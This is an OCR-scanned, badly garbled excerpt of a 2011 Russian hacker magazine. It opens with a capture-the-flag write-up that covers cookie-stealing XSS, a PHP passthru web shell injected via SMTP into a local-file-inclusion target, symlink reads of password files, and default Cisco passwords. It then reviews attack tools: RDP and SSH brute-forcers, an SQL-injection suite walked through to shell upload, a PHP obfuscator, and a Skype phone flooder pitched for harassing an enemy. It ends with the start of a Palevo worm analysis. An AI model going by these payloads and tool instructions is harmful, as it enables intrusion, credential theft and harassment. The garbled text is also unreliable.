Дал ь н е й ш и е действи я очевидны - воруем сесс и ю адм и н и стратора сервиса, кото р ы й , судя по всему, достаточ н о а ктивно им пол ьзуется. Для этого: 1. Регистри руем нового пользовател я . 2. Отсылаем адм и н и стратору л и чное сообщение, содержа щее ссылку с JаvаSсгiрt-на грузкой [ н а п р и м е р , отправка кук на заранее п р и готовле н н ы й с ниффер). З. Адм и н и стратор нажимает на ссылки в сообщениях, не глядя. 4. Заполучи в его сессию, в его л и ч н ы х сообще н и я х и обнаружива­ ем необходи м ы й нам очередной кл ю ч . 5. Profit l


1 . В кл ю ч е н и е возможности испол ьзования си мволических ссылок путем переоп ределе н и я настроек на каталог са йта vasya .cc 1 O.site:

<html> <head> <meta http-еquiv= "Сопtепt-Туре " content="text/htm1; cha r5et=UТF -8" /> <tit1e>"The COn5cience of а Hacke r" Ьу The Мento r</titte> < ! - -The truth 15 1п spaces . F1nd Н ! - - > <5ty1e type="text/c55"> body { co1or : #dЗd7сf; mагgiп :ЗЭ; backg round -color: #lе242б ;

}

hl { text-align : cente r ; colo r : white i

2 . Осуществл е н и е доступа к каталогу са йта , содержа щему и гро­ вой « фл а г » :

1n

-s

/ u s r / 1 o c a 1 /www / da t a / r oo t / . h t a c c e s s

З . Осуществл е н и е доступа к фа йлу, соде ржа щему да н н ы е дл я аутентиф и ка ц и и на са йте rOOt.cc 1 0 . s i t e :

1n

-s

/ u s r ! l o ca 1 /

vasya / p a s swd . tx t

з о ва н и е Pa sswo rd s P ro или John t h e R i p pe r] 5. Доступ к содержи м ому са йта rOOt.cc 1 0 . s i t e и п олуч е н и е и гро­ в о го кл юча

}

Задание N27: П озитивны й PDF

НТМL-код С подсказкой

Задание N26: Хостинг

П р о водя исследо в а н и е и гр о в о й сети , можно наткнуться на с е р в е р , кото р ы й с ветил стр а н и це й п о у м ол ч а н и ю в е б - с е р в е р а Apa c h e на 8 0 - м п о рту, а та кже и с п о л ь з о в а л с я в ка ч е стве S M TP - и D N S - с е р в е р а . Чтобы п о нять, какие с а йты о бслуж и вает в е б - с е р в е р , требовалось осуществить п е р е н о с D N S - з о н ы . Но какой з о н ы ? Ответ на этот вопрос мог быть п олуч е н и з об рат­ н о й D N S- з о н ы , кото р а я та кже о б служ и в а л а с ь на это м с е р в е р е . Уз н а е м п р о D N S - суфф и кс , и с п ол ьзуе м ы й в е б - се р в е р о м : d i g 0 1 72 . 1 6 . 0 . 1 О P T R 1 0 . D . 1 6 . 1 7 2 . i n - a d d r. a rpa Осуществл я е м перенос D N S - зо н ы : dig 0 1 72 . 1 6 . 0 . 1 О с с 1 O . s i te axfr Д а л е е требовал о с ь н а строиться на и с п ол ь зо ва н и е этого D N S ­ с е р в е р а [ и л и п р о п и сать с о ответствую щ и е и м е н а в ф а йл и к h o s t s ] . П о с л е б е гл о го о с м отра досту п н ы х са йтов можно б ы л о о б н а ружить у я з в и м ость т и п а L o c a l F i le I n c l u d i n g на са йте В а с и л и я П уп к и н а . Для ее э ксплуата ц и и и дал ь н е й ш е го р а з ­ в и т и я ата к и еди н стве н н ы м с п о с о б о м я вл я л о с ь и с п о л ьз о в а н и е S MT P - А е м о н а в к а ч естве т р а н с п о рта д л я п роб роса п о л е з н о й на груз ки [ с м . xakep. ru/post/4 9 5 0 8/d efa u l t . asp] . Н а п р и м е р , с л е ­ дую щ и м обра зо м : 172 . 16 . 0 . 10

25

В одн о м и з зада н и й хак-квеста п редл а галось и зуч ить [ п о з и ­ ти в н ы й ] р d f - ф а й л , кото р ы й о б р а щался к веб-п риложе н и ю с и с п ол ьзова н и е м встро е н н ы х а л горитмов ш и ф ро ва н и я . П о с п е ­ циал ь н ы м м а р кера м м ож н о б ы л о сделать вы вод, ч т о в рdf-файл в н едрен е щ е и flа s h - о бъект. Дал е е , та кже по с п е ци а л ь н о му м а р ке ру, н еобход и м о было о п р е ­ делить, что swf в нутр и рdf-файла в н едрен с и с пользова н и е м сжати я z l i b . Та к и м образом получить « ч и сты й » swf-файл воз­ можно, н а п р и м е р , при п о м о щи б и б л и отеки zlib я з ы ка Pyt h o n . Сл едую щ и м эта п о м я влялось в осста н о вл е н и е а л го р итма ф о р м и ­ рова н и я з а п роса к веб-п р и л оже н и ю п о в ыдер нутому swf-фа Йлу. Для этого м ож н о б ы л о воспол ьзоваться утил итой swf d u m p и з па кета swftools. Особое в н и м а н и е следовало обратить н а фун к­ цию O bfuscate - она и в ы п о л н я ет фун к ц и ю ге н е р а ц и и з а п роса к с е р в е ру. С а м кл ю ч , по кото рому в ы п о л н я ется ш ифрова н и е , нужно б ы л о восста н о в ить из сл едующего ф р а гм ента кода : 00016) 0 0 0 17 ) 00018)

+

+ +

00019)

+

0 0 02 0 )

+

0 0 02 1 )

+

0:0

g e t 1 oc a 1_0

1:0

pushint 1 7 0

2 : 0

pushint 42

3 : 0

pushint 52

4:0

pushint 1 2 0

5:0

pushint 1 7 8

eh10 c c 1 0 . s i t e

00022 )

+

6:0

pushint 2 4 9

ma i 1

f rom : any@ c c 1 0 . s i t e

0 0 02 3 )

+

7:0

pushint 2 5 5

r c pt

t o : va sy a

0 0 02 4 )

+

8:0

pushint 2 2 8

9:0

pushint 8 0

da t a

0 0 02 5 )

< ?php p a s s thru ( $_GET [ ' cmd ' ] ) ; ? >

0 0 02 6 )

ENTER

П р одел а в ряд ш а м а н с к и х м а н и пул я ц и й с S MTP-Ае м о н о м , ста ­ н о в и л о с ь в о з м ож н ы м п олуч ить доступ к в ы п ол н е н и ю к о м а нд о п е р а ц и о н н о й с и сте м ы : h t t p : / / va s ya _ c c 1 0 _ s i t e / i ndex . php ? f i 1 e = / va r / ma i 1 / - lа

/

Но даже с та к и м досту п о м к с е р в е ру чтобы п олуч ить и гр о вой кл ю ч , н у ж н о о ч е н ь п о ста раться . П р и ч и на это му - м одул ь S u EX E C , кото р ы й р а з гр а н и ч и вал доступ к сосед н и м саЙта м . Для обхода указа н н ы х о г ра н и ч е н и й требовалось и с п ол ьзовать с и м в о л и ч е с к и е с с ы л к и [ с м . kernelpa n i k .org/d ocs/kernelpa n i k/ su exec. e n .pdfl . Это б ы л о воз можн ы м тол ь ко по п р и ч и не того, что в ко н ф и гу р а ц и и в е б - с е р вера и спользовалась д и р е ктива AllowOverri d e All. Дал ь н е й ш а я ата ка сводил а с ь к в ы п ол н е н и ю сл едующих з а п ро ­ сов :

� 070

/

u s r / 1 o c a 1 / www/ d a t a / vasya / t e s t . t x t

4. Р а с ш и ф р о в ка п олуч е н н о го М D5 - х е ш а [ н а п р и м е р , с и споль­

quote { text-align: right; co1o r : #dЗd7сf ; font - 5ty1e: НаНе ;

v a sy a % O O &cmd= l s

/ u s r / 1 o c a 1 /www / da t a /

vasya / . ht a c c e s s

www / d at a / root / . htpas swd_new / u s r / 1 o c a 1 /www / d a t a /

}

t e 1net

echo Opt i o n s + F o 1 1 owSymL i n k s >

+ +

1 0 : О pushint 3 2

З н а я кл юч и а л г о р итм ш и ф р о в а н и я , воз м ож н о г е н е р и р о вать п ро и з в о л ь н ы е з а п р о с ы к в е б - п р и л оже н и ю . Чтобы п олуч ить и гр о в о й ф л а г, т р е б о в а л о с ь с ф о р м и р о вать з а п рос к в е б ­ п р иложе н и ю с и сп о л ьзова н и е м п ростей ш е й тех н и ки э кс плуата ­ ц и и уя з в и м ости « В недр е н и е о п е рато р о в S Q L » .

Задание N28 : С теганог р а ф ия

Стега н о гр а ф и я - это нау ка о с к р ытой п е реда ч е и н ф о р м а ц и и путе м с о х р а н е н и я в та й н е са м о го фа кта п е реда ч и . В отл и ч и е о т кр и птогр а ф и и , кото р а я с к р ы вает соде р ж и м о е с е к р е т н о го с о о б ще н и я , стега н о г ра ф и я с к р ы ва ет с а м о е го существо в а н и е . В ц и ф р о в о м м и р е в ка ч е стве конте й н е ра дл я с к р ы в а е м о й и н ф о р м а ц и и о б ы ч н о и с п ол ьзуют мул ьти м ед и а - о бъе кты [ и з о ­ б р а же н и я , в идео, ауд и о , те ксту р ы 3 D - о бъекто в] и в н е с е н и е и с ка же н и й , кото р ы е на ходятся н иже п о р о га чувств ител ь н о сти с р е д н е статисти ч еского ч е л о в е ка и н е п р и водят к з а м етн ы м и з м е н е н и я м этих о бъ е ктов. Н о , ка к несложно до гадаться, к о н ­ т е й н е р о м м ожет в ы ступ ить н е тол ько мул ьти м ед и а - ф а й л . В н а ш е м случ а е в роли конте й н е р а в ы ступ ил H T M L- KO A I Дело в ХАКЕР 03 / 1 46/ 2 0 1 1


L in e

8 con 8 2 vty 8

�el �

I n t e rface

.UJ�� .nu,чс"ие

18C iS

User К

Host ( s ) d le idle

I d le

Locat ion

I d le

Рее!' Addre s s

88 : 88 : 14 88 : 88 : 88 192 . 168 . 192 . 288 t10de

9З А 9 9теря"о .

: 'U s e rs'de v t e e v >_

Раскрытие идентификатора пользователя

: 't f t p > t h ie f . py 192 . 168 . 192 . 12 NFO : �a in : Du�pe d ro ut e r-c o n f g NFO : �a in : T o t a l t i�e : 8 : 88 : 89 . 154888 __

__

Подбор файлов на ТFrP-сервисе то м , что в е б - б раузе р п р и отображе н и и стр а н и ц ы и гн о р и рует идущи е п одряд п робел ь н ы е с и м в ол ы , е сл и о н и н е зада н ы к а к Н Т М L - м н е м о н и к и . Та к и м о б р а з о м два и бол е е п робела п о к а з ы ­ ва ются как оди н . Т о же с а м о е отн о сится к с и м вол а м табул я ц и и и п е ре н о с а стро к . Это б ы л кратк и й э кс ку р с в теор и ю . А с а м о зада н и е п редста в ­ л я л о с о б о й Н Т М L-стр а н и цу с М а н и ф е сто м х а к е р а ! стыд и п о з о р те б е , % u s e r n a m e % , е с л и ты не ч итал э т о п о сл а н и е М е нто р а ] , кото р о е м о ж н о б ы л о оты с кать н а п росто р а х и гр о в о й с е т и . П р ед п о л а га я в с ю трудн ость р а с к р ы т и я с п е ц и ф и к и зада н и я , в H T M L - коАе б ыл а з а б отл и во о ста вл е н а п одс ка з ка , ука з ы в а ющая на то , что п ро б е л ы в коде м о гут в ы п ол н ять н е тол ь ко р о л ь раз­ дел е н и я с л о в в п р едл оже н и я х . В н и м ател ь н ы й участн и к м о г о б н а ружить, что слова в те ксте р а здел е н ы н е в езде оди н а к о в о . Е с л и го в о р ить б о л е е ко н к р ет н о , то оди н п р обел п редста влял с о б о й н е что иное, к а к « О » , а двой н о й п ро б е л , с о ответств е н н о , « 1 » . И н ы м и слова м и , р е ч ь идет п р о оди н б и т и н ф о р м а ц и и . В о се м ь б и т е сть оди н б а й т и одн о в р е м е н н о код с и м вола в А5 С I I -та бл и ц е . О г р а н и ч ител е м с о о б щ е н и я в ы ступ а л а п о с л е ­ довате л ь н о сть « п р обел + с и м вол та бул я ц и и » . Зада н и е б ы л о о с л о ж н е н о и м е н н о п о н и м а н и ем т о г о , ч т о текст - н е п росто о ч е р едная п о п ытка п р о п а га нды х а к и н га , а эта о б ы ч н а я стат и ч ­ н а я Н Т М L-стра н и ца и есть зада н и е , и з кото р о го и н адо добыть за ветн ы й кл ю ч .

эта п е у пол ьзо вателя х в атало п р и в и л е г и й , что б ы п р ос м отреть з а пущенную конф и гура ц и ю . И с пол ьзуя кома нду « R o u t e r#show г u п п i п g - со п f i g v i ew f u l l » можно было п олуч ить к о н ф и гура ц и ю устро й ст в а , а в м есте с н е й и и гр о в о й фл а г.

Задание N29: Cisco

Заключение

П о м и м о х а н и п ото в , э мул и ру ю щ и х сете в ы е устро й ства и р а з ­ л и ч н ы е о п е р а ц и о н н ы е с и сте м ы , в и гр о в о й с е т и м о ж н о б ы л о отыс кать са м ы й ч т о н и на есть « жи в о й » роутер на б а з е C i sco 105. С к а н и р о в а н и е Т С Р - п о ртов должно б ы л о п о казать, что доступ е н с е р в и с F I N G E R . О б рати в ш и с ь к это м у с е р в и су, м ожно б ы л о п олучить и м я за р е г и стр и р о в а н н о го пользо вателя на устро й ст в е . Дал ь ш е достато ч н о было п р о в е рить на п о рту T E L N E T и м я это го пол ьзо вателя с п а р ол е м « c i sco» ! станда рт­ н ы й п а роль для о б о рудо в а н и я C i s c o ] . С л е ду ю щ и й ш а г з а кл ю ­ ч а л с я в п одн я т и и п р и в ил е г и й н а устро й ст в е . С а м о с о б о й , р е ч ь н е ш л а о п ятн адцато м у р о в н е доступа : ] . Н о на трет и й у р о в е н ь доступа с п а р о л е м « c i s c o » м ож н о б ы л о п од н ятьс я . Уже н а этом ХАКЕР 0 3 1 1 46/ 1 0 1 1

Задание N210: TFТP

Одно и з с а м ы х п ро ст ы х зада н и й , кото р о е можно б ы л о отыс кать в и гр о в о й сети - это зада н и е , с в я з а н н о е с Т F Т Р - се р в и с о м . Однако, к а к о к а з а л о с ь , б е з к а к и х - л и б о п одс ка з о к и о н о ста л о довол ь н о сложн ы м для б ол ь ш и н ства уч а стн и к о в . Для р е ш е н и я зада н и я т р е б о в а л о с ь о б н а ружить досту п н ы й ТFТР- с е р в и с [69/ u d p ] , а затем п одобрать и м я ф а й л а , кото р о е на нем х р а н ил о с ь . К а к р а з п о д б о р и в ы звал н а и б ол ь ш и е сложн ости у у ч а ст­ н и ко в с о р е в н о ва н и я . И м я ф а й л а , кото р о е нео бходи м о б ы л о п одобрать - это « ro u t e r- c o n fi g » , ста ндартное и м я ф а й л а п о у м ол ч а н и ю п р и ко п и р о ва н и и ко н ф и гура ц и и с к о н с о л и о б о ­ рудо в а н и я н а б а з е C i s co 1 0 5 . П р и м еч ател ь н о , ч т о в с л о в а р я х с и стем п о и с ка уяз в и м осте й и даже с п е ци ал и з и ро в а н н ы х и н струме нтах [та к и х , к а к t f t p t h e f t ] отсутствует з а в ет н о е и м я « го u t е г - с о п f i g » . Если же ф а йл б ы л в с е -та ки п олуч е н , то п робл е м с выде р г и в а ­ н и е м и з н е го и гр о в о го кл юча н е воз н и ка л о . Кл юч х р а н ил с я в ф о р мате п а рол е й « se c ret 7» и М О Г б ыть в осста н о в л е н разл и ч ­ н ы м и и н струмента м и [ н а п р и м е р , с и с п ол ьз о ва н и е м C a i n & A be l ] .

К сожа л е н и ю , ф о р мат жур н а л а н е п о з в ол я ет р а с с ка зать п р о в с е зада н и я [ и х б ы л о бол е е двадцат и ] , п редл оже н н ы е н а н а 2 0 1 0 . П о этому р а с ш и ре н н а я в е р с и я да н н о й публ и к а ц и и досту п н а в э л е ктр о н н о м в иде п о адресу xa kepru . h a b ra h a b r. ru!. С п а с и б о в с е м , кто п р и н и м ал у ч а сти е в с о р е в н о в а н и и H Q 20 1 0 1 С п а с и б о р а з р а б отч и ка м н а 2 0 1 О , сдел а в ш и м е го та к и м н а с ы ­ ще н н ы м и и нт е р е с н ы м . Отдел ь н о е с п а с и б о Ти муру Юнусо ву, С е р г е ю П а вл о ву, Ал е кс а ндру М а т р о с о ву, Влади м и ру В о р о н цову a k a D O z n p , Валере М а р чуку. Также х о ч ется п о б л а года рить всех о р г а н изато р о в и с п о н с о р о в [ в ч а стн ости , Е5ЕТ и 5 e c u rityLa b I , кото р ы е п р едоста в и л и в о з м ожность п р о в ести подо б н о е м е р о ­ п р ия т и е . До с к о р ы х в с т р е ч на буду щ и х xa k - к в е ста х l :::r:::

� 071


• • Маг icq 884888, http:// s n i pp e r. r u

X-TOOLS Программа: Fast RDP Brute ОС: Windоws 2000/ХР1200З ServеrNistа12008 SеrvеrП Автор: ROleg

� Trno.:м: � � �� ':==== d58t =ь �= '::�ЫI � ==� � ====== ====== ====== � � �s� Mei't � IPht

Программа: Медвежья хватка (MedWebGrasp, MWG) ОС: Windоws 2000/ХР/200З ServerNista/2008 ServеrП Автор : iHomet

"P�IC�er

Cl.frentrwNlg lhNdc

ДUh. COrrbNtiCm 18ft Good� Al.th. per teCOnd: Bad.ComEn _Encn

120

ЭS90840 1 з2

97D.1D9 . 1079

ТheadЭ8:f"'09.'б9.З4.100· aarn.tr4b:r� ТheadЗ4: f_ 1С8.25.54.1 29 · Uninidl6IOI;qwer!y Тhead5: fllll:e lС8.а.25Э.5З · Uninist!4b:r·

отсутствует поиск уяз вимых сайтов ;

'Fh�

работа только с БД MySQL ; нет в озможности работать через прокси .

'1'JP\iDm�/t:NJ:k "" . prrY�е Уel$Юn

Правильный брутфорс дедиков Н а ко н ец-то это случ илосы С п ешу п ред­ став ить твоему в н и м а н и ю замечател ь н ы й , фун кционал ь н ы й , а главное - быстр ы й R D P брутфорс Fast R D P B rutel П о сути данная про­ грамма п редставляет собой а налог п р и ватно ­ г о Qtss-брута , кото р ы й о с н о в а н на п ротоколе R D P в е р с и и 5. Особен ности брута :

SQL инъекции ПОД колпаком! На очереди очередной х а керский комба й н для и сследования уязвим остей ти п а SQL­ i njection под патриотическим названием « М едвежья хватка» [ в ы клады в а н и е та к и х a l l inclusive п рогра м м уже в о ш л о в добрую традицию н а ш е й руб р и к и ] . О с н о в н ы е возможности и модули « М едвежь­ е й хватки»: •

сбор и хранение информации об уяз ­

использует протокол RDP 5 ;

вимом сайте и учетных записях поль­

неограниченное количество потоков

зователей ( модуль «Знаток» ) ;

( рекомендовано от 30 до 1 2 0 ) ; •

скорость брута на уровне при­

сбор и хранение информации из БД и

файлов конфигурации уязвимого сайта

ватных анал о г о в ( до 1 2 0 паролей в

( модуль «Архивариус» ) ;

с е кунду ) ;

·

простой интерфейс ; •

жешь исследовать SQL- и нъекци и , почти н е п р и касаясь к клавиатуре, только с помощью предва р ительно настрое н н ы х п рофилеЙ . У этой утилиты также есть и н екоторые огра­ н и ч е н и я , кото р ы е , в п ро ч е м , не являются сколько - н и будь существен н ы м и :

встроенная проверка обновлений .

выполнение обычных и слепых инжек­

тов ( модуль «Хирург» ) ; •

онлайновый поиск значений хэшей

( модуль «Детектив » )

Для начала работы с да н н ы м брутфорсом тебе будет н еобходимо наска н ить о предел е н н ы е диапазо н ы I P-аАресов. Д л я этого: 1. Уста н а вл и ваем всем известны й сканер п т а р [официальная стр а н и ца ска н е р а : i nsecure . org ] . 2. Коп и руем в X:\Prog ra m Files\Nmap\scri pts скрипт rdp. nse [его можно н а йти на н а ш е м диске]. 3. Создаем следующий . Ьа! файл :

i

сканер особенностей сайта , имею­

щихся таблиц и открытых портов ( мо ­ дуль «Разведчик» ) •

i

сканер структуры сайта , поиск па­

пoK и файлов ( модуль «Следопыт» ) ; •

инструмент для чтения файлов и ди­

ректорий ( модуль «Читатель» ) ; •

инструмент для закачки скриптов на

сервер ( модуль «Лекарь» ) ; •

аудит работоспособности уяз вимос­

тей и шеллов ( модуль «Ревизор» ) ;

@echo o f f

for ! l % % % х i n ( 1 , 1 , 1 0 0 ) do (

просов и построителей ( модуль «На­

s t a r t " rdp " / HIGH nmар -п - Рп -р

стройщик» ) ;

Т : 3 3 8 9 -Т5 - - s c r ipt rdp . nse - i R О ) exit

гибко настраиваемые профили з а ­

конвертор кодировок ( модуль «Тол­

мач» ) •

i

экспорт содержимого баз в тексто­

вый файл ( модуль «Коробейник» ) .

4. За пускаем, ждем п а ру часов и , н а конец,

брутим : ] Другие особен ности проги т ы сможеш ь узнать на ее официал ьной стр а н и ч ке : frdpb . hut2. ru .

� 0 72

Ты уди в и ш ьс я , н о в с е это вел и кол е п и е я вл я ется в с е го л и ш ь п р иложе н и е м к БД M S Access 2003 1 Та к и м о б р а з о м , ты см 0-

На практике ты сможешь испол ьзовать « М ед­ вежью хватку», например, та к: 1. Ты нашел SQL и нъекцию следующего вида: h t tp : / / rnys i t e . com/ show . php ? id=3 +uni on+ s e l ec t + 1 , 2 , user ( ) , 4 , 5 - -

2. Копируй дан ную и нъекцию в буфер обме­

на и переходи в « М едвежью хватку».

3. Н ажимай на кнопку новой записи и обя­

зател ьно п роверь, чтобы курсор стоял в верхнем поле. 4. Жми на кнопку « умной» вста вки [при этом адрес из буфера разбивается на два пол я l . 5. В ы з ы в а й модул ь « Хирург» С помощью кнопки « SQL» или « BSQL» [в зависимости от формата строки зап роса ] , по умол ч а н и ю форма открывается с профилем « Да н н ы е О базе». 6. Н ажимай на кнопку выпол нения запроса. 7. Если все прошло правильно, то в поле « Н а йдено» ты увидишь строку резул ьтата . 8. Далее нажимай на кнопку « С войства БД» [получ е н н ы е дан н ы е сохранятся в базе п ро­ гра м м ы ] и выбирай профиль « Непустые таб­ лицы», чтобы снова вы полнить з а п рос. 9. Сохрани резул ьтат с помощью кнопки « Таблицы» [если надпись « Далее» стала красного цвета, это знач ит, что необходимы дополнител ьные запросы для извлечения всех дан ных, в этом случае жми' на кнопку « * * ***[0 1 ]» и жди окон ч а н и я серии запро­ сов]. 10. Далее выпол н я й профиль « Н е пустые таб­ лицы с *pass*, *pwd*,*psw* » , котор ы й отоб­ разит все табл ицы, имеющие поля паролей. 11. Теперь, когда известны имена табли ц , содержа щие парол и , можно вызвать и выпол нить профиль « ' столбцы для табли ­ ц ы » [результатом зап роса по этому профилю будет список столбцов для выбранной таб­ лицы]. 12. Теперь за п ра ш ивай данные учетных записей с помощью вызова п рофиля « ' табХАКЕР 0 3 / 1 46/ 2 0 1 1


л и ца » или «�О схема.таблица» и выбора в них соответствующих имен. 13. Сохраняй результат в подтаблицу пользо­ вателей кнопками « И мя И хэш» или « И мя И пароль» . 14. Теперь, имея на руках полную базу табл иц, столбцов, пользователей и так далее нашего тестового уязвимого сайта, ты сможешь залить шелл с помощью модуля « Лекарь» ИЛИ сам определиться с дальнейшими действия­ м и с помощью своей фантазии. Особенно хочется отметить уже упомянутый выше модуль « Лекарь», котор ы й предназначен для загрузки шеллов на сайт через уязвимость прав доступа к файловой системе Iload_file] при откл юченном режиме magic_quotes. Для работы с данным модулем тебе необходимо л и ш ь задать путь и имя файла в верхних двух полях. П ереключатель слева внизу выбирает один из вариа нтов закачки: тестовый - про верка возможности за ­ качки тестового файла в папку / tmp / ; •

командный шелл - закачка функции

выполнения *пiх-комаНД i •

МНОГОПОТОЧНО С Т Ь i

три режима пере бора ( по списку логинов I списку •

ПО

списку паролей I по

«ЛОГИН;

пароль» ) ;

перебор IP по диапазону или по

списку и з файла ; •

возможность установки тайм-аута

соединения при проверке порта ; •

Также сто ит отметить и н е кото р ы е о г р а ­ н и ч е н и я : обфус като р не п одде р ж и в а ет констру к ц и и eva l l l и $$va r_па т е , а та кже м о гут воз н и кнуть п робл е м ы со с к р и пта м и в коди р о в ке U T F - B . За обновл е н и я м и и авторской помощью не забывай своевременно заходить на страничку kaim i . ru/201 0/1 0/php-оbIusсаtог- 1 -5 .

подобранные логины и пароли с о ­

храняются в файл brute_goo d . txt ; •

обфус ц и рова н н ы й код, твоим кон куре нта м е щ е долго п р идется р а з гады вать с к р и пты в случае возн и кн о в е н и я такой н еобходи ­ м ости : 1 .

распараллеливание идет по I P ­

адресам ( если в диапазоне один I P и в настройках

СТОИТ СТО ПОТОКОВ

I

Программа : Rings Skyper ОС: Windows 2000/ХР/200З ServеrNistа/2008 SеrvеrП Автор: Si п Зv

то фактически пере бор идет в один поток ) .

За исходника м и и поддержкой заходи на официал ьную стр а н и ч ку утилиты: kaim i. ruI20 1 0/1 2/ssh - bruteforce.

t ПОА�JDOЧ�'1'ЬСЯl

RU RU1337

DNLIII

информационный - закачка функции

рhрiпfо ( ) по указанному пути ; •

А теперь настало время представить тебе дол­ гожда нную прогу для брутфорса SSH - SSH B ruteforce от Ka i m i l Особен ности б рутфорса :

инклудинг - закачка шелла для инклу­

Программа : РНР Obfuscator 1.5 ОС: ·nixlwin ABTOp: dx <'

S CiL o i Al s{ J21103ьa87

да внешнего с крипта ; •

ТелефоННЫЙ флудер

аплоадер - закачка скрипта для апло­

ада .

Поля справа от перекл ючателя позволяют мо­ дифицировать закач иваемый скрипт. В случае успешной зака ч ки Iпроверяется повторным скач иван ием и сравнением] выдается соот­ ветствующее сообщение. Остальные мануалы по работе других модулей ты сможешь п рочитать в подробном Read M e из архива с прогой. Автор комбайна будет очень рад услышать твои предложения, замечания и пожелания на са йтах mwg.far.ru и mwgrasp.on i.cc I кстати , там жеты сможешь найти исходники « Медвежьей хватки» и подробные обучающие видео].

Программа: SSH Bruteforce ОС: Windows 2000/ХР/200З ServerMsta/2008 ServеrП Автор: Кaimi о SSH Bnrt.m.c. т..,_

-

-

----'!:.-

@ i'iG"CШИ..riOiiiНiJ ....,

-

е> по ctanмtOМy паром б по амс:ку I!OГW1J\l1POt1b

-

-

--

'.

���12�7--�--�--� до

127

Следующей в нашем обзоре идет неплохая п рогра мма для флуда мобильных и ста цио­ нарных телефонов - Rings Skyper от коман­ ды si n3v.org. П р и н ц и п работы да нной проги достаточно п рост: 1. Наби раем н о м е р ; 2. Ждем н а чала гудков ; 3. Разрываем соединение; 4 . Н а б и раем зада н н ы й номер заново. Фун кционал и особ е н н ости флудер а :

Каша в РНР коде указание одного номера для флуда ;

П оследн и м в нашем сегодня ш н е м обзоре п р едстает оди н из луч ш и х Р Н Р-обфускато­ ров - Р Н Р Obfuscator oT dx. Возможности обфускато р а :

-,.,.

--

NO.... 1-

ffi

ГоТ08...

Брутим SSH ХАКЕР 03 / 1 4 6 / 2 0 1 1

т......" 20000

CJ � �

указание интервала между разрывом

с оединения и з вонком ( в секундах) ; указание количества

ЗВОНКО В ;

в озможность начать флуд с нача­

замена имен функций ;

ла списка после прохода по всем его

шифрование статических строк ;

номерам ;

шифрование имен стандартных функ-

таймер работы флуда ;

ций РНР ; обфускация INTEGER ' OB ;

архивация скрипта ;

,======:::::1 0

( загружается из текстового файла ) ; •

замена имен переменных i

сжатие скрипта ;

er..coк 'Р

указание списка номеров для флуда

работает через сервис Skype , не снимая деньги ; •

флуд домашних , мобильных и интер­

нет-телефоно в ;

добавление треш- комментариев ;

ведение подробных логов ;

обфускация констант РНР ;

интервал между з вонками не превы­

возможность добавления мусорных

шает 3 - 5 секунд .

инструкций и переменных с з аданной вероятностью .

Если учестыот фа кт, что каждый раз скрипт создает совершенно разный

Как видишь, данная утилита вполне сможет заставить твоего недруга с м е н ить н о м е р тел ефона :1. :х:

� 073


В этой статье речь пойдет о черве Paievo - именно он ответственен за создание известного б отнета Mariposa . Н апомню , что одного из хозяев этого б отнета удалось по йм ать испанско й поли ц ии в начале 201 О года. С ам червь о б ладает весьма о б ыденным функ ционалом : распространение с помощью autorun . inf через съ емные носители , установка в автозагрузку, закачка ф а й лов , показ рекламы и прочее. Итак, я взял оди н из последних и самых свежих вариантов Palevo и п риступ ил к его последовательному разбору. Для начала - общие характеристики. Файл п редставляет собой РЕ'шник размером в 1 66 Кб, в котором п р исутствуют ресурсы. В ресурсах содержатся и конки, которые очень похожи на и конки папок, отображаемых Explorer'oM. Безусловно, это сделано для того, чтобы сбить с толку неоп ытного пользовате­ ля, который не сможет отл и ч ить настоящую п а п ку от исполняемого файла. Также в ресурсах содержатся два String ТаЫе, в которых находятся фэйковые строки. Все эти ухи щрения используются созда­ телями мал вари для того, чтобы файл стал выглядеть более «обыч­ но». Ресурсы я дергал с помощью Resource Hacker'a. Названия четырех секций стандартны : .text, .rdata, .data и . rsrc, а вот название пятой, по-видимому, было с генерировано случайным образом Gjgpycll. П ричем в заголовке она идет второй, а не последней. Та к что же интересного м н е удалось на йти п р и помощи визуального просмотра в H iew? Почти весь файл заш ифрован, однако у меня

� 074

получилось идентифицировать закриптова н н ы й РЕ-заголовок «вши­ того» файла. О н обведен на с кр и н ш оте красн ым овало м . Помимо этого, несколько экранов зани мают случа йным образом сгенериро­ ванные предложе н и я . В этих предложе н и я х есть и точ ки, и за пятые, и рандомные слова. Каждое из слов начинается с бол ьшой буквы . В ходе дал ьнейшего исследо ва н и я выяснилось, что все эти строки бесполезны и добавлены в файл л и ш ь для созда н и я энтроп и и . Более н и че го интересного в ходе осмотра ф а й л а в H i ew я н е обна­ ружил. Та ким образом, после п редва р ительного анализа удалось выяснить, что фа йл сильно косит под нормальный и, по сути, я вл я ­ ется д р о п п е р о м , т а к к а к содержит зашифрованный РЕ-заголовок.

Отлаживаем !

Следующий этап - непосредстве н н ы й разбор под отладч иком. В качестве последнего я использовал I DA, применяя по необхо­ димости декомп илятор Hex-Rays. С разу же после начала анализа я, не сли ш ком уди в и в ш ись, обнаружил несколько бессмысленных Х А К Е Р 03 / 1 46/ 2 0 1 1


и 7 .. Fiпd\ofiпdоШl: ( "Рt"оgPlап" . i ) ; iF ( и7 )

Фрагмент червя Palevo

break;

вызовов API-фун кци Й . Н а п р и м е р , GetCommandLi neW возвращает резул ьтат в ЕАХ. А в коде, который предста влен н а иллюстра ции вслед за абзацем, видно, что после вызова А Р I ' ш ки регистр ЕАХ заполняется п роизвол ь н ы м значен ием. А затем идет реал изация одного из методов а нтиэмуляции. Вот как это работает. Вызы вается функция ОрепРгосеss, которая, как и любая другая функция, испол ьзует стек для хранения своих локальных переменных. После ее исполнения происходит обращение к исполь­ зованному стеку, расположенному выше текущего ESP, при помощи инструкции MOV есх, [esp- l Ch]. В системе Windows ХР по адресу IESP - Ох l С), в дан ном контексте, распола гается дворд OxFFFFFFFF. Далее этот дворд используется в арифметической операции для вычисления адреса дальнейшего перехода п р и помощи RETN. Та кие техники я обнаружил сразу в н ескол ьких местах во время раз­ бора этого экземпл я ра Palevo. Первым фрагментом кода , несущим полезную нагрузку в файле, оказался небольшой цикл , который рас­ шифровы вал другой участок кода. Цикл невероятно просто й : add

d

,

[ еах ]

inc

еах

стр

еах ,

jl

000401110

*

4

[ 0 0 0 4 2 4С3А] ,

0 6 В 9 7 0 0ВА

CetWindowThreadPt'ocessld ( u7 . &dt�Pt"ocess I d ) ;

и 8 - OpenProcess ( Ох2Аи. О . d �JP roc es 5 I d ) ; hProcess - и8 ; if ( и8 )

(

u9 .. UirtualAllocEx ( u8 . О . и6 + 28 0 , О)(ЗООOU . 1bc40u ) ; i f ( u9 )

(

и1 О u12 и24 и23 и11

.. *«

